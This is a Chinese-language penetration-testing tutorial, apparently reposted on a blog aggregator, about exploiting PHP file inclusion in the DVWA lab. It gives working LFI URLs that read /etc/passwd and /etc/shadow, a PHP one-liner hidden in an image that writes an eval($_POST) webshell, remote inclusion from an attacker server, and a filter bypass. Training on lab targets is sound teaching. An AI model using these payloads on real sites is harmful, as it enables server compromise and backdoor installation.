3.2 文件包含漏洞渗透实战(OWASP实战训练)

news2024/11/19 7:49:09

3.2 文件包含漏洞渗透实战(OWASP实战训练)

  • 原理及危害
  • 3.低安全级别渗透
    • 3.1本地文件包含漏洞
    • 3.2 本地文件包含漏洞+webshell
    • 3.3远程文件包含漏洞

上一节讲了本地文件包含和远程文件包含

本地文件包含需要将文件传上去或者不传上去(本地系统的一些文件)
在这里插入图片描述

  我们是传不了PHP的文件,高安全级别下,如果能上传PHP文件,就不需要这么麻烦了,我们传图片,当然传图片上去不一定能用,本身还要找他的文件包含漏洞,如果传了一个包含生成一句话木马的图片上去,恰好又有文件包含漏洞,就可以执行图片在本地生成一句话木马PHP文件,这样就可以用菜刀这种攻击连接一句话木马,获取其webshell
  上传图片,能被包含执行,可能会看到乱码,但是有正确的代码执行。
  学习安全上来就攻击这个网站不可能,需要建立起基础体系,很多高手工具一点也看不懂,讲完后,可能也达不到随心所欲攻击的结果,这个课也不长,真要学的话也要学好几个月呢,但是可以保证再去看高手的攻击步骤就能看懂了。就可以开始自学或者使用了,否则开始看都看不懂,因为高手在写案例的时候不考虑基础。

原理及危害

在这里插入图片描述

  Php.ini文件会影响到很多东西,如upload限制上传文件大小等,我们关注的是allow_url_include = on 开启允许包含能力,还需看开发人员是否包含你上传的文件。
  远程文件包含真的没有用,应该关上(allow_url_fopen)
  注意在# vim /etc/php5/cli/php.ini 此路径仅限于此靶机路径,你的服务器路径就可能不是这个路径了。
  这个路径是需要有一定的运维能力才能去找到的。
在这里插入图片描述

3.低安全级别渗透

3.1本地文件包含漏洞

访问本地系统账号信息及其他敏感信息

http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
http://192.168.56.103/dvwa/robots.txt
或者http://192.168.56.103/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/robots.txt

这个robots每个网站都有名字相同

  www.qfedu.com/robots.txt 我们的网站会被百度谷歌等浏览器爬取,这个robots.txt是一个爬取的公共协议,这里写的那些目录不能爬,那些能爬,百度就会遵循这个协议来爬取自己能爬的网站。当然有些恶意的爬取就不管这些协议了。这是爬取行业的一个规范。
  但是往往这么写有另外的问题暴露了你的一些信息,所有这个

下面通过访问www.qfedu.com/robots.txt得到千锋的一些信息

#
# robots.txt for EmpireCMS	//此处使用 EmpireCMS来建立的站
#

User-agent: *
allow:http://www.qfedu.com/sitemap.xml
Disallow: /d/
Disallow: /e/class/
Disallow: /e/config/
Disallow: /e/data/
Disallow: /e/enews/
Disallow: /e/update/
Disallow: /js/
Disallow: /img/
Disallow: /css/
Disallow: /testdata/
Disallow: /testing/
Disallow: /ceshi/
Disallow: /*?*
Disallow: /*test.html
Disallow: /*test/
Disallow: /*test/*test.html
Disallow: /jingjia/*.html

  //此处使用 EmpireCMS来建立的站,网站都是在人家的框架基础之上二次开发的,现在dede,帝国,CMS系统当然会有漏洞。
  像这种通用的东西,能减少开发周期,后期维护也较为简单,但坏处也明显,一旦有什么漏洞,使用这个多的也中招。
  Robots也是个敏感文件
  本地文件包含后面可以跟密码、账号、系统信息、PHP配置、Apache配置像Robots之类的敏感文件,当然Robots这个文件谁都可以访问,只要知道这个名字。

3.2 本地文件包含漏洞+webshell

1.制作一句话图片木马 e.g. yangge.jpg

<?fputs(fopen("shell20.php", "w"),'<?php eval($_POST[yangge]);?>')?>

2.上传图片木马文件
3.执行文件包含并生成后门(并不是访问图片,将其内容包含在某个程序中执行)
4.通过菜刀连接webshell

提示:

/var/www/dvwa/hackable/uploads			//dvwa文件上传访问的目录 yangge.jpg
/var/www/dvwa/vulnerabilities/fi			//dvwa文件包含访问的目录 shell20.php

将生成木马程序添加到图片后大小变化很小。
下方是图片上传的位置

http://192.168.0.105/dvwa/hackable/uploads/hacker.jpg

所有静态资源服务器都不会执行,只有动态资源才会执行,我们要的不是把这个资源再请求回来,而是在服务器中被当成程序执行一遍。

http://192.168.0.105/dvwa/vulnerabilities/fi/?page=include.php

将这个图片包含执行后生成的文件在
http://192.168.0.105/dvwa/vulnerabilities/fi/

  写全路径行吗,现在上传目录已有,文件包含目录也已有,刚才上传的图片在,现在是需要包含了,好像使用绝对路径有点问题,是不可以的,现在的话使用相对路径。
  如果图片不行的话可能复制的一句话木马有问题
  已经发现问题了,是代码的问题现在我在图片木马文件下建立了一个shell2.php里面是生成木马程序
  只需点击a.bat文件在当前目录下打开cmd执行下方代码

copy meinv.jpg/b+shell2.php/a meinv3.jpg

就生成了meinv3.ipg图片木马,将其上传使用包含漏洞是可以执行的。

http://192.168.0.105/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/meinv2.jpg

执行上方的地址后下方会出现乱码,接着在上方的路径下能看到生成的PHP一句话木马。
接下来连接就没问题了
使用菜刀连接此地址

http://192.168.0.105/dvwa/vulnerabilities/fi/shell20.php

密码yangge这样就连接上了。

  其实我们可以上传图片木马,也可以建一个txt文件在里面写上生成木马程序,当此文件被包含的时候和图片木马一样也能在其服务器上生成shell20.php木马文件。
在/var/www下建立一个txt文件包含以下内容。

<?fputs(fopen("shell50.php", "w"),'<?php eval($_POST[yangge]);?>')?>

3.3远程文件包含漏洞

  这就不是那么费劲了。只要我们搭建一个服务器将图片放上去,再将图片包含进去即可,此时使用路径http://192.168.0.107/meinv2.jpg
这个路径在另一个owasp上的根目录下,来验证远程包含
或者http://192.168.0.107/yangge.txt
接着执行

http://192.168.0.105/dvwa/vulnerabilities/fi/?page=http://192.168.0.107/yangge.txt

  这时下方就没有乱码了,因为不像图片那样还有多余的数据会出现乱码。
  接着再在被攻击的owasp中的/var/www/dvwa/vulnerabilities/fi 路径下看到新生成的shell50.php文件
  这个远程文件包含是非常简单的只要将这个图片或者txt放在自己准备的服务器上就行了。或者攻击一个网站将含有木马的图片上传其服务器上。
  也可以是其他后缀的图片文件之类的。

  我们使用上传和包含的漏洞进行的。
  很显然远程包含效率要高一些。

  将file inclusion安全级别调为中级
  先来到文件包含漏洞页面看一下源码

<?php 

    $file = $_GET['page']; // The page we wish to display  

    // Bad input validation 
    $file = str_replace("http://", "", $file); 
    $file = str_replace("https://", "", $file);         
?> 

  中安全级别对本地文件包含漏洞利用没有任何影响,上传一个图片也是没问题的,和之前的一样。但是远程文件包含就有问题了,他会将你的http://变成了空,这样就无法远程包含了。
那如果这样写

http://192.168.0.105/dvwa/vulnerabilities/fi/?page=httphttp://://192.168.0.107/yangge.txt

这样就能访问生成木马了。

httphttp://://	-  http:// =http://

将file inclusion安全级别调为高级
那如果是高安全级别呢?

<?php 
         
    $file = $_GET['page']; //The page we wish to display  

    // Only allow include.php 
    if ( $file != "include.php" ) { 
        echo "ERROR: File not found!"; 
        exit; 
    }       
?> 

  这包含特定文件,只要不是include.php就报错不执行。应编码,对于后期修改也是不灵活的,但也安全。
  这种安全,但对开发人员来说比较痛苦。有可能要包含很多的文件。但还是对要包含的文件有些限制。

  包含本身是正常的,要看其有无包含行为,并且其对包含文件没有检测才造成了这个漏洞。不要轻看这个,页面多了就可能犯错,后面会讲web漏扫,实际上一个网站不会告诉你有什么漏洞,所以要漏扫,扫出漏洞,通过漏扫软件,一旦扫出效果就和上方一样。
  文件包含漏洞在整个排行不高,任何一个点不安全都会导致权限被拿走。

下一讲会讲到sql注入,这是排在第一位的安全问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1863810.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【十三】图解mybatis缓存模块之装饰器模式

图解mybatis缓存模块之装饰器模式 简介 之前有写过一篇博客介绍过mybatis的缓存模块设计【九】mybatis 缓存模块设计-CSDN博客 &#xff0c;当时着重讲解的是mybatis种一级缓存和二级缓存&#xff0c;本次博客补充讲解一下装饰器模式的应用&#xff0c;本篇主要分两部分讲解&a…

贪吃蛇项目GameStart部分:对游戏的初始化

接上一篇文章介绍完需要使用到的WIN32API的相关知识&#xff0c;本篇文章让我们来开始使用他们来创建我们的贪吃蛇欢迎界面以及游戏所需要的地图。 准备工作&#xff1a; 为了后面我们构建贪吃蛇游戏所需要的各项函数便于观察&#xff0c;同时便于我们的函数声明&#xff0c;在…

反射及动态代理

反射 定义&#xff1a; 反射允许对封装类的字段&#xff0c;方法和构造 函数的信息进行编程访问 图来自黑马程序员 获取class对象的三种方式&#xff1a; 1&#xff09;Class.forName("全类名") 2&#xff09;类名.class 3) 对象.getClass() 图来自黑马程序员 pac…

使用Tailwindcss之后,vxe-table表头排序箭头高亮消失的问题解决

环境 vue2.7.8 vxe-table3.5.9 tailwindcss/postcss7-compat2.2.17 postcss7.0.39 autoprefixer9.8.8 问题 vxe-table 表格表头 th 的排序箭头在开启正序或逆序排序时&#xff0c;会显示蓝色高亮来提示用户表格数据处在排序情况下。在项目开启运行了tailwindcss之后&#xff0…

代码随想录算法训练营day31|134.加油站、135. 分发糖果、406.根据身高重建队列

134.加油站 如下图所示&#xff1a; 当索引一道2的时候&#xff0c;剩余油量的总量13-6 < 0&#xff0c;这个时候说明以索引0为起点不合适&#xff0c;将起点更新为索引3. 两点证明&#xff1a; 1.如果我们从蓝色段中间选一个点开始&#xff0c;是不是最后sumGas就不小于0…

经典老动画电影大全,老动画片大全集全部百度网盘,资源下载百度云

当今社会越来越重视学前教育了&#xff0c;今儿童启蒙的教育也越来越受人们的关注和重视。为了满足社会对未来人才的需要&#xff0c;学前教育成为当今教育领域重要角色的一环。当今动画篇是主流&#xff0c;内容精彩纷呈&#xff0c;越来越受到儿童的喜爱。 儿童的语言敏感期&…

【PL理论深化】(7) Ocaml 语言:静态类型语言 | 自动类型推断 | 多态类型和多态函数 | let-多态类型系统

&#x1f4ac; 写在前面&#xff1a;OCaml 是一种拥有静态类型系统的语言&#xff0c;本章我们就要探讨静态类型系统。 目录 0x00 静态类型系统 0x01 自动类型推断&#xff08;automatic type inference&#xff09; 0x02 多态类型和多态函数 0x03 let-多态类型系统&#…

php,python AES/CBC/PKCS7Padding加密解密 base64/hex编码

1. python版本 import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpadclass AESUtilCBC:def __init__(self, key, iv):self.key key.encode(utf-8)self.iv iv.encode(utf-8)self.pad_length AES.block_sizedef encrypt(self, data):try…

最佳实践 | HelpLook通过PartnerShare实现低成本的市场拓展

在如今许多行业市场竞争非常激烈&#xff0c;扩大品牌影响力、提升产品竞争力成为企业亟待攻克的难题之一。为此&#xff0c;HelpLook AI知识库对接了PartnerShare联盟系统&#xff0c;为SaaS产品如何做好全民分销带来了全新的解决思路。 PartnerShare凭借成熟的推广体系为Hel…

一张图了解KFS

供稿&#xff1a;产品研发中心、战略市场部 编辑&#xff1a;薇薇 审核&#xff1a;日尧

源站静态文件更新后,CDN会自动刷新吗

源站静态文件更新后&#xff0c;CDN不会自动刷新缓存&#xff0c;而是在缓存时间过期后&#xff0c;才会经由用户触发回源获取最新文件。如希望在缓存过期时间之前&#xff0c;实现CDN节点与源站静态文件同步更新&#xff0c;则需要通过CDN控制台-【刷新预取】菜单&#xff0c;…

前端JS必用工具【js-tool-big-box】学习,数值型数组的正向排序和倒向排序

这一小节&#xff0c;我们说一下前端 js-tool-big-box 这个工具库&#xff0c;添加的数值型数组的正向排序和倒向排序。 以前呢&#xff0c;我们的数组需要排序的时候&#xff0c;都是在项目的utils目录里&#xff0c;写一段公共方法&#xff0c;弄个冒泡排序啦&#xff0c;弄…

量化交易面临的难题

量化交易面临的难题 1、监管机构对于算法交易、量化交易的监管越来越严格3、回测场景于实盘交易场景的不匹配性4、策略并非100%有效&#xff0c;并非100%的收益5、股票、基本面、市场新闻之间的关系时刻在变化并且难以捉摸6、很难使用一套通用的交易规则去匹配所有的股票/市场/…

React Native V0.74 — 稳定版已发布

嗨,React Native开发者们, React Native 世界中令人兴奋的消息是,V0.74刚刚在几天前发布,有超过 1600 次提交。亮点如下: Yoga 3.0New Architecture: Bridgeless by DefaultNew Architecture: Batched onLayout UpdatesYarn 3 for New Projects让我们深入了解每一个新亮点…

OElove 婚恋系统 v10.2升级真是及时,你们是不是UI团队换了?不得不说这次UI是真美!当然功能也升级了大大的赞!

怎么说呢&#xff0c;成为OE的老用户已经有五年了&#xff0c;当时买的初衷就是在本地做一个响当当的门户但是因为疫情搁浅了。。。实在是入不敷出&#xff01;转行的这几年又看好了婚恋这个行业于是打算冲头再来&#xff0c;我记得我当时还是8.5&#xff0c;功能比较强大就是太…

CppTest单元测试框架(更新)

目录 1 背景2 设计3 实现4 使用4.1 主函数4.2 使用方法 1 背景 前面文章单元测试之CppTest测试框架中讲述利用宏ADD_SUITE将测试用例自动增加到测试框架中。但在使用中发现一个问题&#xff0c;就是通过宏ADD_SUITE增加多个测试Suite时&#xff0c;每次运行时都是所有测试Suit…

内附下载方式 | 移远通信《5G RedCap技术发展及应用白皮书》重磅发布

6月25日&#xff0c;在2024 MWC上海前夕&#xff0c;全球领先的物联网整体解决方案供应商移远通信宣布&#xff0c;正式发布其《5G RedCap技术发展及应用白皮书》。 该白皮书对RedCap的技术特点、市场趋势及应用场景进行了全面分析&#xff0c;基于5G技术的发展和演进&#xff…

Kafka入门-基础概念及参数

一、Kafka术语 Kafka属于分布式的消息引擎系统&#xff0c;它的主要功能是提供一套完备的消息发布与订阅解决方案。可以为每个业务、每个应用甚至是每类数据都创建专属的主题。 Kafka的服务器端由被称为Broker的服务进程构成&#xff0c;即一个Kafka集群由多个Broker组成&#…

一款开源、高颜值的AI物联网数据平台

介绍 AIOT人工智能物联网平台是一站式物联网开发基础平台&#xff0c;帮助企业快速实现数字化、精细化数据管理。核心系统为&#xff1a;物联网平台 数据中台&#xff08;数据底座&#xff09; AI。 同时支持文生图、语音合成等。大模型支持陆续也会慢慢开发。 物联系统介绍…

STM32存储左右互搏 模拟U盘桥接QSPI总线FATS读写FLASH W25QXX

STM32存储左右互搏 模拟U盘桥接QSPI总线FATS读写FLASH W25QXX STM32的USB接口可以模拟成为U盘&#xff0c;通过FATS文件系统对连接的存储单元进行U盘方式的读写。 这里介绍STM32CUBEIDE开发平台HAL库模拟U盘桥接Quad SPI总线FATS读写W25Q各型号FLASH的例程。 FLASH是常用的一种…